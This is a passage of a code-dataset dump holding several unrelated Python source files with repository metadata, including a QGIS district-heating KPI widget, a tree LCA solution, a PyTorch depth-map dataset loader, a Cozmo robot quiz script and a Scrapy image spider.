cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_2.setItem(6, 3, cellr)\n self.tableWidget_2.setItem(6, 4, cellt)\n self.tableWidget_2.setItem(6, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"ENV_2.13R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"ENV_2.13T\"]))\n cell = QTableWidgetItem(str(KPIs[\"ENV_2.13\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_2.setItem(7, 3, cellr)\n self.tableWidget_2.setItem(7, 4, cellt)\n self.tableWidget_2.setItem(7, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"ENV_2.14R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"ENV_2.14T\"]))\n cell = QTableWidgetItem(str(KPIs[\"ENV_2.14\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_2.setItem(8, 3, cellr)\n self.tableWidget_2.setItem(8, 4, cellt)\n self.tableWidget_2.setItem(8, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"SO_3.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"SO_3.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"SO_3.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_4.setItem(4, 3, cellr)\n self.tableWidget_4.setItem(4, 4, cellt)\n self.tableWidget_4.setItem(4, 5, cell)\n\n cellr = QTableWidgetItem(str(KPIs[\"ECO_2.1R\"]))\n cellt = QTableWidgetItem(str(KPIs[\"ECO_2.1T\"]))\n cell = QTableWidgetItem(str(KPIs[\"ECO_2.1\"]))\n cellr.setFlags(QtCore.Qt.ItemIsEnabled)\n cellt.setFlags(QtCore.Qt.ItemIsEnabled)\n cell.setFlags(QtCore.Qt.ItemIsEnabled)\n self.tableWidget_3.setItem(5, 3, cellr)\n self.tableWidget_3.setItem(5, 4, cellt)\n self.tableWidget_3.setItem(5, 5, cell)\n\n print(\"KPIs done!\")\n self.stop_progress_bar.emit()\n\n\n def set_up_simulator(self):\n self.simulator = DistrictSimulator()\n self.simulator.DHN_network_list = self.DHN_network_list\n self.simulator.DCN_network_list = self.DCN_network_list\n\n self.simulator.sources_tab = self.baseline_sources_table\n self.simulator.ef_sources_tab = self.baseline_sources_table\n print(\"Step2_dockwidget.set_up_simulator: self.baseline_sources_table, self.simulator.sources_tab, self.simulator.ef_sources_tab\",\n self.baseline_sources_table, self.simulator.sources_tab, self.simulator.ef_sources_tab)\n self.simulator.sources = self.sources\n self.simulator.step1_network_tree_widget = self.step1.dmmTreeNetwork\n self.simulator.step1_building_tree_widget = self.step1.dmmTree\n self.simulator.step0_district_sources_tab = self.step0.sources_available\n self.simulator.step4_network_tree_widget = None\n self.simulator.step4_building_tree_widget = None\n\n self.simulator.logger = self.logger\n\n self.simulator.baseline_scenario = self.baseline_scenario\n self.simulator.future_scenario = None\n\n self.simulator.baseline_KPIs = None\n self.simulator.KPIs_additional_data = self.step1.KPIs_additional_data\n\n self.simulator.heat = self.heat\n self.simulator.temperature = self.temperature\n\n self.simulator.set_up_new_simulation()\n\n def get_area(self, building_id):\n expr = QgsExpression(\"BuildingID=\" + building_id)\n if self.baseline_scenario is None:\n\n return\n fs = [ft for ft in self.baseline_scenario.getFeatures(QgsFeatureRequest(expr))]\n if len(fs) > 0:\n feature_0 = fs[0]\n else:\n return 0\n return feature_0.geometry().area()\n\n def sum_file(self, file, column=0, separator=\";\"):\n total = 0.0\n try:\n with open(file) as fp:\n for i, line in enumerate(fp):\n total = total + float(line.split(separator)[column])\n except:\n print(\"file\", file, \"column\", column, \"separator\", separator)\n return 0.0\n return total\n\n def get_source_infos(self, widget, source):\n for i in range(widget.rowCount()):\n if widget.verticalHeaderItem(i).text() == source:\n try:\n return [float(widget.item(i, 0).text()),\n float(widget.item(i, 1).text())]\n except:\n print(\"Step2_dockwidget.py, get_source_infos: impossible to get row\", i)\n return [0, 0]\n\n def remove_files(self, dr, start):\n if not os.path.isdir(dr):\n return\n for f in os.listdir(dr):\n fn = os.fsdecode(f)\n if fn.startswith(start):\n os.remove(os.path.join(dr, fn))\n\n\n def set_up_logger(self):\n class Printer:\n def write(self, x):\n print(x)\n\n self.logger = logging.getLogger()\n self.logger.setLevel(logging.INFO)\n\n output_stream = sys.stdout if sys.stdout is not None else Printer()\n stream_handler = logging.StreamHandler(output_stream)\n formatter = logging.Formatter('%(asctime)s :: %(levelname)s :: %(message)s')\n stream_handler.setFormatter(formatter)\n stream_handler.setLevel(logging.DEBUG)\n self.logger.addHandler(stream_handler)\n\n def reset_tech_info_to_0(self, tech_info=None):\n if tech_info is None:\n tech_info = self.create_base_tech_infos()\n tech_info = self.reset_tech_info_to_0(tech_info=tech_info)\n return tech_info\n else:\n for key in tech_info.keys():\n tech_info[key] = 0\n return tech_info\n\n def receive_widget(self, widget, sources, dhn, dcn):\n self.baseline_buildings_widget = widget\n self.baseline_sources_table = sources\n self.DHN_network_list = dhn\n self.DCN_network_list = dcn\n print(\"Step2.py, receive_widget(). DHN and DCN\", [n.name for n in self.DHN_network_list],\n [n.name for n in self.DCN_network_list])\n print(\"Step2.py, receive_widget(). widget, sources:\", widget, sources)\n\n def receive_baseline_scenario(self, layer):\n self.baseline_scenario = layer\n\n def get_step0_data(self, heat, temperature):\n self.heat = heat\n self.temperature = temperature\n\n def round_to_string(self, in_value):\n try:\n return str(round(float(in_value), 2))\n except:\n return \"Nan\"\n\n","repo_name":"Planheat/Planheat-Tool","sub_path":"planning_and_simulation_modules/Step2_docwidget.py","file_name":"Step2_docwidget.py","file_ext":"py","file_size_in_byte":29840,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"31650135128","text":"# oj t -c \"python main.py\" -d \"./tests/\" \n\n# a,b = map(int,input().split())\n# a = list(map(int,input().split()))\n# a = [list(map(int,input().split())) for _ in range(n)]\n\n# import sys\n# read = sys.stdin.buffer.read\n# readline = sys.stdin.buffer.readline\n# readlines = sys.stdin.buffer.readlines\n\n# 検討?分 実装分 バグとり分\n\n# import sys\n# import os\n# f = open('../../../input.txt', 'r')\n# sys.stdin = f\n\n# doubling\nclass LCA():\n def __init__(self, links, root):\n self.n = len(links)\n self.dbl = [[-1] for _ in range(self.n)]\n self.depth = [-1] * self.n\n self.depth[root] = 0\n self.order = []\n stack = [root]\n while stack:\n i = stack.pop()\n self.order.append(i)\n for j in links[i]:\n if self.depth[j] != -1:\n continue\n self.depth[j] = self.depth[i] + 1\n self.dbl[j][0] = i\n stack.append(j)\n \n self.log_d = (max(self.depth)).bit_length()\n for j in range(self.log_d - 1):\n for i in range(self.n):\n ancestor = self.dbl[i][j]\n self.dbl[i].append(self.dbl[ancestor][j])\n \n def lca(self, x, y):\n assert (self.depth[x] >= 0) and (self.depth[y] >= 0)\n if(self.depth[x] < self.depth[y]):\n x,y = y,x\n dif = self.depth[x] - self.depth[y]\n for bi in range(self.log_d):\n if(dif >> bi)&1:\n x = self.dbl[x][bi]\n \n if(x == y):\n return x\n for bi in range(self.log_d-1, -1, -1):\n if(self.dbl[x][bi] != self.dbl[y][bi]):\n x = self.dbl[x][bi]\n y = self.dbl[y][bi]\n return self.dbl[x][0]\n\nimport sys\nread = sys.stdin.buffer.read\n\nn,*data = map(int,read().split())\nab = data[:2*(n-1)]\nq = data[2*(n-1)]\nkv = data[2*(n-1)+1:]\n\nlinks = [[] for _ in range(n)]\nit = iter(ab)\nfor a,b in zip(it,it):\n a -= 1\n b -= 1\n links[a].append(b)\n links[b].append(a)\n\nlca = LCA(links, 0)\nsort_num = [0] * n\nfor i,oi in enumerate(lca.order):\n sort_num[oi] = i\n\nans = []\nidx = 0\nfor _ in range(q):\n k = kv[idx]\n v = [i-1 for i in kv[idx+1:idx+1+k]]\n idx += 1+k\n\n v.sort(key=lambda x: sort_num[x])\n \n tmp = 0\n for i in range(k):\n x = v[i-1]\n y = v[i]\n lca_xy = lca.lca(x,y)\n tmp += lca.depth[x] + lca.depth[y] - lca.depth[lca_xy] * 2\n \n tmp //= 2\n ans.append(tmp)\n\nprint('\\n'.join(map(str,ans)))\n\n\n\n","repo_name":"komajun365/competitive_programming","sub_path":"others/typical90/035/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74316447206","text":"import shelve\n\nimport wc\nfrom bs4 import BeautifulSoup as BS\nimport requests\n\n\nchecks = [\n wc.is_instapaper,\n wc.is_tw_action,\n wc.is_unsubscribe,\n]\n\nwith shelve.open('wc.db', writeback=True) as db:\n if 'rich_links' not in db:\n db['rich_links'] = {}\n\n for link in db['links'] :\n if not any(check(link) for check in checks):\n resp = requests.get(link)\n soup = BS(resp.text, 'html.parser')\n db['rich_links'][link] = {\n 'url': link,\n 'title': soup.title.text,\n }\n db.sync()\n","repo_name":"abele/weekly-compressor","sub_path":"addmeta.py","file_name":"addmeta.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"6162430861","text":"from pathlib import Path\r\nimport json\r\nfrom network_utils import gradient\r\nimport numpy as np\r\nimport torch\r\nfrom torch.utils.data import Dataset\r\nfrom torchvision.transforms import InterpolationMode\r\nfrom PIL import Image\r\nfrom .utils import downsample, bicubic_with_mask, random_crop, random_rotate, random_horizontal_flip\r\n\r\n\r\nclass NYUv2Dataset256(Dataset):\r\n\r\n def __init__(\r\n self,\r\n root='/home/qiaoxin/prj/Qiao/dataset/NYUDepthv2',\r\n crop_size=(256, 256),\r\n do_horizontal_flip=True,\r\n max_rotation_angle=0,\r\n rotation_interpolation=InterpolationMode.BILINEAR,\r\n image_transform=None,\r\n depth_transform=None,\r\n in_memory=False,\r\n split='test',\r\n crop_valid=True,\r\n crop_deterministic=True,\r\n scaling=8,\r\n **kwargs\r\n ):\r\n self.crop_size = crop_size\r\n self.do_horizontal_flip = do_horizontal_flip\r\n self.max_rotation_angle = max_rotation_angle\r\n self.rotation_interpolation = rotation_interpolation\r\n self.image_transform = image_transform\r\n self.depth_transform = depth_transform\r\n self.crop_valid = crop_valid\r\n self.crop_deterministic = crop_deterministic\r\n self.scaling = scaling\r\n\r\n import h5py\r\n file = h5py.File(Path(root) / 'nyu_depth_v2_labeled.mat')\r\n\r\n with open(Path(root) / 'split_idc.json') as fh:\r\n self.split_idc = np.array(json.load(fh)[split])\r\n\r\n if max_rotation_angle > 0 and crop_deterministic:\r\n raise ValueError('Max rotation angle has to be zero when cropping deterministically')\r\n\r\n self.images = np.array(file['images']) if in_memory else file['images']\r\n self.depth_maps = np.array(file['depths']) if in_memory else file['depths']\r\n self.instances = np.array(file['instances']) if in_memory else file['instances']\r\n self.labels = np.array(file['labels']) if in_memory else file['labels']\r\n\r\n self.W, self.H = self.images.shape[2:]\r\n\r\n # if self.crop_valid:\r\n # if self.max_rotation_angle > 45:\r\n # raise ValueError('When crop_valid=True, only rotation angles up to 45° are supported for now')\r\n #\r\n # # make sure that max rotation angle is valid, else decrease\r\n # max_angle = np.floor(min(\r\n # 2 * np.arctan((np.sqrt(-(crop_size[0] ** 2) + self.H ** 2 + self.W ** 2) - self.W) / (crop_size[0] + self.H)),\r\n # 2 * np.arctan((np.sqrt(-(crop_size[1] ** 2) + self.W ** 2 + self.H ** 2) - self.H) / (crop_size[1] + self.W))\r\n # ) * (180. / np.pi))\r\n #\r\n # if self.max_rotation_angle > max_angle:\r\n # print(f'Max rotation angle too large for given image size and crop size, decreased to {max_angle}')\r\n # self.max_rotation_angle = max_angle\r\n\r\n def __getitem__(self, index):\r\n if self.crop_deterministic:\r\n num_crops_h, num_crops_w = self.H // self.crop_size[0], self.W // self.crop_size[1]\r\n im_index = self.split_idc[index // (num_crops_h * num_crops_w)]\r\n else:\r\n im_index = self.split_idc[index]\r\n\r\n image = self.images[im_index].astype('float32').T\r\n depth_map = self.depth_maps[im_index].astype('float32').T\r\n instances = self.instances[im_index].astype('int16').T\r\n labels = self.labels[im_index].astype('int16').T\r\n image, depth_map, instances, labels = image.copy(), depth_map.copy(), instances.copy(), labels.copy()\r\n\r\n outputs = [image, depth_map, instances, labels]\r\n\r\n # if self.do_horizontal_flip and not self.crop_deterministic:\r\n # outputs = random_horizontal_flip(outputs)\r\n #\r\n # if self.max_rotation_angle > 0 and not self.crop_deterministic:\r\n # outputs = random_rotate(outputs, self.max_rotation_angle, self.rotation_interpolation,\r\n # crop_valid=self.crop_valid)\r\n # # passing fill=np.nan to rotate sets all pixels to nan, so set it here explicitly\r\n # outputs[1][outputs[1] == 0.] = np.nan\r\n\r\n if self.crop_deterministic:\r\n crop_index = index % (num_crops_h * num_crops_w)\r\n crop_index_h, crop_index_w = crop_index // num_crops_w, crop_index % num_crops_w\r\n slice_h = slice(crop_index_h * self.crop_size[0], (crop_index_h + 1) * self.crop_size[0])\r\n slice_w = slice(crop_index_w * self.crop_size[1], (crop_index_w + 1) * self.crop_size[1])\r\n outputs = [o[slice_h, slice_w] for o in outputs]\r\n else:\r\n outputs = random_crop(outputs, self.crop_size)\r\n\r\n # # apply user transforms\r\n # if self.image_transform is not None:\r\n # outputs[0] = self.image_transform(outputs[0])\r\n # if self.depth_transform is not None:\r\n # outputs[1] = self.depth_transform(outputs[1])\r\n\r\n image = outputs[0]\r\n depth_map = outputs[1]\r\n # print('depth_map:', depth_map.shape)\r\n\r\n h, w = image.shape[:2]\r\n # source = downsample(depth_map.unsqueeze(0), self.scaling).squeeze().unsqueeze(0)\r\n source = np.array(Image.fromarray(depth_map).resize((w//self.scaling, h//self.scaling), Image.BICUBIC)) # bicubic, RMSE=7.13\r\n\r\n # 梯度图\r\n depth_grad = gradient(depth_map)\r\n\r\n # normalize\r\n depth_min = np.nanmin(depth_map)\r\n depth_max = np.nanmax(depth_map)\r\n depth_map = (depth_map - depth_min) / (depth_max - depth_min) # torch.Size([1, 256, 256])\r\n source = (source - depth_min) / (depth_max - depth_min)\r\n depth_grad = depth_grad / (depth_max - depth_min)\r\n\r\n image = image.astype(np.float32).transpose(2, 0, 1) / 255\r\n image = (image - np.array([0.485, 0.456, 0.406]).reshape(3,1,1)) / np.array([0.229, 0.224, 0.225]).reshape(3,1,1)\r\n\r\n y_bicubic = np.array(Image.fromarray(source).resize((w, h), Image.BICUBIC))\r\n\r\n source = torch.from_numpy(source).unsqueeze(0).float()\r\n y_bicubic = torch.from_numpy(y_bicubic).unsqueeze(0).float()\r\n image = torch.from_numpy(image).float()\r\n depth_map = torch.from_numpy(depth_map).unsqueeze(0).float()\r\n depth_grad = torch.from_numpy(depth_grad).unsqueeze(0).float()\r\n\r\n mask_hr = (~torch.isnan(depth_map)).float()\r\n mask_lr = (~torch.isnan(source)).float()\r\n mask_grad = (~torch.isnan(depth_grad)).float()\r\n mask_hr = (mask_hr*mask_grad) # torch.Size([1, 256, 256])\r\n\r\n depth_map[mask_hr == 0.] = 0.\r\n depth_grad[mask_hr == 0.] = 0.\r\n source[mask_lr == 0.] = 0.\r\n\r\n return {'image': image, 'hr': depth_map, 'mask_hr': mask_hr, 'mask_lr': mask_lr, 'idx': index,\r\n 'lr': y_bicubic, 'grad': depth_grad, 'max': depth_max * 100, 'min': depth_min * 100}\r\n\r\n def __len__(self):\r\n if self.crop_deterministic:\r\n return len(self.split_idc) * (self.H // self.crop_size[0]) * (self.W // self.crop_size[1])\r\n return len(self.split_idc)\r\n","repo_name":"wudiqx106/DSR-EI","sub_path":"datasets/nyu256.py","file_name":"nyu256.py","file_ext":"py","file_size_in_byte":7115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72472763367","text":"from attrs import define, field\nimport torch\nfrom torch.nn import functional as F\n\n\nclass MaskedAR:\n def __init__(self):\n self.xent = nn.CrossEntropyLoss(reduction=\"none\")\n\n def train_and_metrics(self, batch, logits):\n return (\n (self.xent(logits.permute(0, 2, 1), batch.targets) * batch.mask).mean(),\n {},\n )\n\n\n@define(slots=False)\nclass PolicyValue:\n v_weight: float = 1.0\n policy_weight: float = 1.0\n\n def loss_and_metrics(self, batch, logits):\n v_logits = logits[\"values\"]\n m_logits = logits[\"moves\"]\n\n v_error = F.mse_loss(v_logits, batch.values)\n\n metrics = {\n \"v_error\": v_error.item(),\n }\n\n moves = batch.moves\n if moves.ndim == 1:\n with torch.no_grad():\n argmax = torch.argmax(m_logits, dim=-1)\n match = argmax == moves\n metrics[\"acc@01\"] = match.float().mean().item()\n\n return (\n self.v_weight * v_error\n + self.policy_weight * F.cross_entropy(m_logits, moves)\n ), metrics\n","repo_name":"nelhage/taktician","sub_path":"python/tak/model/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"53"}
+{"seq_id":"33425626591","text":"'''\nw와 h의 최대공약수가 1일 때 잘리는 박스는 w+h-1개\n그렇지 않을 때 잘리는 박스는 w+h-최대공약수 개\n'''\ndef solution(w,h):\n lst = []\n if w == h: return w*h-w\n elif w == 1 or h == 1: return 0\n\n for i in range(1,w+1):\n if w%i == 0: lst.append(i)\n for i in range(1,h+1):\n if h%i == 0: lst.append(i)\n\n for i in sorted(lst,reverse=True):\n if lst.count(i) == 2 and i>1:\n return (w*h)-(w+h-i)\n elif lst.count(i) == 2 and i==1:\n return (w*h)-(w+h-1)\n\nw, h = map(int,input().split())\nprint(solution(w,h))","repo_name":"Jihyeon0712/Programmers","sub_path":"2단계/Python_Code/2. 멀쩡한 사각형.py","file_name":"2. 멀쩡한 사각형.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"38273845935","text":"import time\r\nimport asyncio\r\nimport xmltodict\r\nimport cozmo\r\nimport urllib.request\r\nimport urllib.parse\r\nfrom cozmo.objects import LightCube1Id, LightCube2Id, LightCube3Id\r\nfrom PIL import Image, ImageDraw, ImageFont\r\n\r\ndef retreive_student_questions(email, password):\r\n data = {}\r\n data[\"email\"] = email\r\n data[\"password\"] = password\r\n data[\"request\"] = \"chooseQuestion\"\r\n url_values = urllib.parse.urlencode(data)\r\n url = \"http://localhost:9000/cozmo\"\r\n full_url = url + \"?\" + url_values\r\n page = urllib.request.urlopen(full_url)\r\n data_dict = xmltodict.parse(page.read())\r\n\r\n structured_questions = {}\r\n \r\n for result in data_dict[\"sparql\"][\"results\"][\"result\"]:\r\n current_course = \"\"\r\n current_understanding = \"\"\r\n current_question = \"\"\r\n current_possible_answer = \"\"\r\n current_correct_answer = \"\"\r\n for binding in result[\"binding\"]:\r\n if(binding[\"@name\"] == \"courseLabel\"):\r\n current_course = binding[\"literal\"]\r\n if(binding[\"@name\"] == \"understanding\"):\r\n current_understanding = binding[\"literal\"]\r\n if(binding[\"@name\"] == \"question\"):\r\n current_question = binding[\"literal\"][\"#text\"]\r\n if(binding[\"@name\"] == \"possibleAnswer\"):\r\n current_possible_answer = binding[\"literal\"][\"#text\"]\r\n if(binding[\"@name\"] == \"correctAnswer\"):\r\n current_correct_answer = binding[\"literal\"][\"#text\"]\r\n\r\n #print(\"\\n\", current_course, \"\\n\", current_understanding, \"\\n\", current_question[\"#text\"], \"\\n\", current_possible_answer[\"#text\"], \"\\n\", current_correct_answer[\"#text\"])\r\n\r\n if((current_course, current_understanding) not in structured_questions):\r\n structured_questions[(current_course, current_understanding)] = {}\r\n \r\n if(current_question not in structured_questions[(current_course, current_understanding)]):\r\n structured_questions[(current_course, current_understanding)][current_question] = {}\r\n \r\n structured_questions[(current_course, current_understanding)][current_question][current_possible_answer] = False\r\n\r\n structured_questions[(current_course, current_understanding)][current_question][current_correct_answer] = True\r\n\r\n return structured_questions\r\n\r\ndef construct_cozmo_quiz(robot, structured_quiz_data, isRandomized):\r\n chosen_course = (\"\", \"11000\")\r\n chosen_question = \"\"\r\n chosen_incorrect_answers = list()\r\n chosen_correct_answer = \"\"\r\n\r\n for key in structured_quiz_data:\r\n if(int(key[1]) < int(chosen_course[1])):\r\n chosen_course = (key[0], key[1])\r\n\r\n if(chosen_course in structured_quiz_data):\r\n for question in structured_quiz_data[chosen_course]:\r\n if(chosen_question == \"\"):\r\n chosen_question = question\r\n\r\n for answer in structured_quiz_data[chosen_course][chosen_question]:\r\n if(structured_quiz_data[chosen_course][chosen_question][answer]):\r\n chosen_correct_answer = answer\r\n else:\r\n chosen_incorrect_answers.append(answer)\r\n\r\n print(chosen_correct_answer)\r\n print(chosen_incorrect_answers)\r\n cozmo_ask_quiz_question_demo(robot, chosen_question, chosen_correct_answer, chosen_incorrect_answers[0], chosen_incorrect_answers[1])\r\n\r\ndef cozmo_lights(robot: cozmo.robot.Robot):\r\n cube1 = robot.world.get_light_cube(LightCube1Id) # looks like a paperclip\r\n cube2 = robot.world.get_light_cube(LightCube2Id) # looks like a lamp / heart\r\n cube3 = robot.world.get_light_cube(LightCube3Id) # looks like the letters 'ab' over 'T'\r\n\r\n if cube1 is not None:\r\n cube1.set_lights(cozmo.lights.red_light)\r\n else:\r\n cozmo.logger.warning(\"Cozmo is not connected to a LightCube1Id cube - check the battery.\")\r\n\r\n if cube2 is not None:\r\n cube2.set_lights(cozmo.lights.green_light)\r\n else:\r\n cozmo.logger.warning(\"Cozmo is not connected to a LightCube2Id cube - check the battery.\")\r\n\r\n if cube3 is not None:\r\n cube3.set_lights(cozmo.lights.blue_light)\r\n else:\r\n cozmo.logger.warning(\"Cozmo is not connected to a LightCube3Id cube - check the battery.\")\r\n\r\n # Keep the lights on for 10 seconds until the program exits\r\n time.sleep(10)\r\n\r\ndef make_text_image(text_to_draw, x, y, font=None):\r\n '''Make a PIL.Image with the given text printed on it\r\n\r\n Args:\r\n text_to_draw (string): the text to draw to the image\r\n x (int): x pixel location\r\n y (int): y pixel location\r\n font (PIL.ImageFont): the font to use\r\n\r\n Returns:\r\n :class:(`PIL.Image.Image`): a PIL image with the text drawn on it\r\n '''\r\n\r\n # make a blank image for the text, initialized to opaque black\r\n text_image = Image.new('RGBA', cozmo.oled_face.dimensions(), (0, 0, 0, 255))\r\n\r\n # get a drawing context\r\n dc = ImageDraw.Draw(text_image)\r\n\r\n # draw the text\r\n dc.text((x, y), text_to_draw, fill=(255, 255, 255, 255), font=font)\r\n\r\n return text_image\r\n\r\ndef text_to_face(robot, text):\r\n text_image = make_text_image(text, 0, 0, ImageFont.truetype(\"arial.ttf\", 35))\r\n oled_face_data = cozmo.oled_face.convert_image_to_screen_data(text_image)\r\n return robot.display_oled_face_image(oled_face_data, 1000, in_parallel=True)\r\n\r\ndef cozmo_correct_answer_response(robot: cozmo.robot.Robot):\r\n action1 = robot.play_anim_trigger(cozmo.anim.Triggers.BuildPyramidThirdBlockUpright, in_parallel=True)\r\n \r\n cube1 = robot.world.get_light_cube(LightCube1Id) # looks like a paperclip\r\n cube2 = robot.world.get_light_cube(LightCube2Id) # looks like a lamp / heart\r\n cube3 = robot.world.get_light_cube(LightCube3Id) # looks like the letters 'ab' over 'T'\r\n\r\n cube1.set_lights(cozmo.lights.green_light)\r\n cube2.set_lights(cozmo.lights.green_light)\r\n cube3.set_lights(cozmo.lights.green_light)\r\n\r\n time.sleep(0.1)\r\n\r\n cube1.set_lights(cozmo.lights.off_light)\r\n cube2.set_lights(cozmo.lights.off_light)\r\n cube3.set_lights(cozmo.lights.off_light)\r\n\r\n time.sleep(0.1)\r\n\r\n cube1.set_lights(cozmo.lights.green_light)\r\n cube2.set_lights(cozmo.lights.green_light)\r\n cube3.set_lights(cozmo.lights.green_light)\r\n\r\n time.sleep(0.1)\r\n\r\n action1.wait_for_completed()\r\n\r\n robot.say_text(\"Kor Rect\", voice_pitch=0.6).wait_for_completed()\r\n\r\ndef cozmo_incorrect_answer_response(robot: cozmo.robot.Robot):\r\n action1 = robot.play_anim_trigger(cozmo.anim.Triggers.MajorFail, in_parallel=True)\r\n \r\n cube1 = robot.world.get_light_cube(LightCube1Id) # looks like a paperclip\r\n cube2 = robot.world.get_light_cube(LightCube2Id) # looks like a lamp / heart\r\n cube3 = robot.world.get_light_cube(LightCube3Id) # looks like the letters 'ab' over 'T'\r\n\r\n cube1.set_lights(cozmo.lights.red_light)\r\n cube2.set_lights(cozmo.lights.red_light)\r\n cube3.set_lights(cozmo.lights.red_light)\r\n\r\n time.sleep(0.1)\r\n\r\n cube1.set_lights(cozmo.lights.off_light)\r\n cube2.set_lights(cozmo.lights.off_light)\r\n cube3.set_lights(cozmo.lights.off_light)\r\n\r\n time.sleep(0.1)\r\n\r\n cube1.set_lights(cozmo.lights.red_light)\r\n cube2.set_lights(cozmo.lights.red_light)\r\n cube3.set_lights(cozmo.lights.red_light)\r\n\r\n time.sleep(0.1)\r\n\r\n action1.wait_for_completed()\r\n\r\n robot.say_text(\"Try a gain\", voice_pitch=0.8).wait_for_completed()\r\n\r\ndef cozmo_ask_quiz_question_demo(robot: cozmo.robot.Robot, question, correct_answer, incorrect_answer_1, incorrect_answer_2):\r\n cube1 = robot.world.get_light_cube(LightCube1Id) # looks like a paperclip\r\n cube2 = robot.world.get_light_cube(LightCube2Id) # looks like a lamp / heart\r\n cube3 = robot.world.get_light_cube(LightCube3Id) # looks like the letters 'ab' over 'T'\r\n\r\n Cubes = [cube1, cube2, cube3]\r\n\r\n robot.say_text(question, voice_pitch=0.8).wait_for_completed()\r\n\r\n robot.say_text(\"Is it\", voice_pitch=0.8).wait_for_completed()\r\n answer1_action_1 = robot.say_text(incorrect_answer_1, voice_pitch=0.8, in_parallel=True)\r\n answer1_action_2 = text_to_face(robot, incorrect_answer_1)\r\n cube1.set_lights(cozmo.lights.blue_light)\r\n answer1_action_1.wait_for_completed()\r\n answer1_action_2.wait_for_completed()\r\n cube1.set_lights(cozmo.lights.off_light)\r\n\r\n robot.say_text(\"Is it\", voice_pitch=0.8).wait_for_completed()\r\n answer2_action_1 = robot.say_text(correct_answer, voice_pitch=0.8, in_parallel=True)\r\n answer2_action_2 = text_to_face(robot, correct_answer)\r\n cube2.set_lights(cozmo.lights.blue_light)\r\n answer2_action_1.wait_for_completed()\r\n answer2_action_2.wait_for_completed()\r\n cube2.set_lights(cozmo.lights.off_light)\r\n\r\n robot.say_text(\"Or is it\", voice_pitch=0.8).wait_for_completed()\r\n answer3_action_1 = robot.say_text(incorrect_answer_2, voice_pitch=0.8, in_parallel=True)\r\n answer3_action_2 = text_to_face(robot, incorrect_answer_2)\r\n cube3.set_lights(cozmo.lights.blue_light)\r\n answer3_action_1.wait_for_completed()\r\n answer3_action_2.wait_for_completed()\r\n cube3.set_lights(cozmo.lights.off_light)\r\n\r\n last_cube1_tap = cube1.last_tapped_robot_timestamp\r\n last_cube2_tap = cube2.last_tapped_robot_timestamp\r\n last_cube3_tap = cube3.last_tapped_robot_timestamp\r\n\r\n while(not (cube1.last_tapped_robot_timestamp != last_cube1_tap or cube2.last_tapped_robot_timestamp != last_cube2_tap or cube3.last_tapped_robot_timestamp != last_cube3_tap)):\r\n time.sleep(0.0001)\r\n\r\n for cube in Cubes:\r\n if(cube.last_tapped_robot_timestamp):\r\n if(cube == cube2):\r\n cozmo_correct_answer_response(robot)\r\n else:\r\n cozmo_incorrect_answer_response(robot)\r\n\r\ndef begin_demo(robot: cozmo.robot.Robot):\r\n data = retreive_student_questions(\"johndoe2020@gmail.com\", \"passpass\")\r\n construct_cozmo_quiz(robot, data, False)\r\n\r\ncozmo.run_program(begin_demo)\r\n","repo_name":"angelson1992/TippaDemo","sub_path":"CozmoManager.py","file_name":"CozmoManager.py","file_ext":"py","file_size_in_byte":9929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"545377368","text":"import scrapy\nfrom ..items import FaceItem, GameInfo\n\nclass GameUrlSpider(scrapy.Spider):\n name = 'gameurl'\n\n def start_requests(self):\n url = 'file:///Users/siskon/Desktop/2013SQL.html'\n yield scrapy.Request(url=url, callback=self.parse_table)\n\n def parse_table(self, response):\n rows = response.css('#query_result_main tr')[1:5]\n for row in rows:\n print('Collecting game: ', row.xpath('td[2]/text()').get())\n url = row.xpath('td[4]/text()').get()\n print(url)\n if url is not None:\n yield scrapy.Request(url = 'http://' + url + '&gc=gc', \n meta = GameInfo(name=row.xpath('td[1]/text()').get()),\n callback = self.collect_image)\n \n def collect_image(self, response):\n srcs = response.css('table a+img::attr(src)').getall()\n srcs = [response.urljoin(src) for src in srcs]\n for src in srcs:\n print(src)\n yield FaceItem(image_urls=srcs, meta=response.meta,\n name=response.url.split('=')[-1])","repo_name":"SiskonEmilia/Anime-Wifu-Dataset","sub_path":"spider/dataset/spiders/gameurl_spider.py","file_name":"gameurl_spider.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"53"}
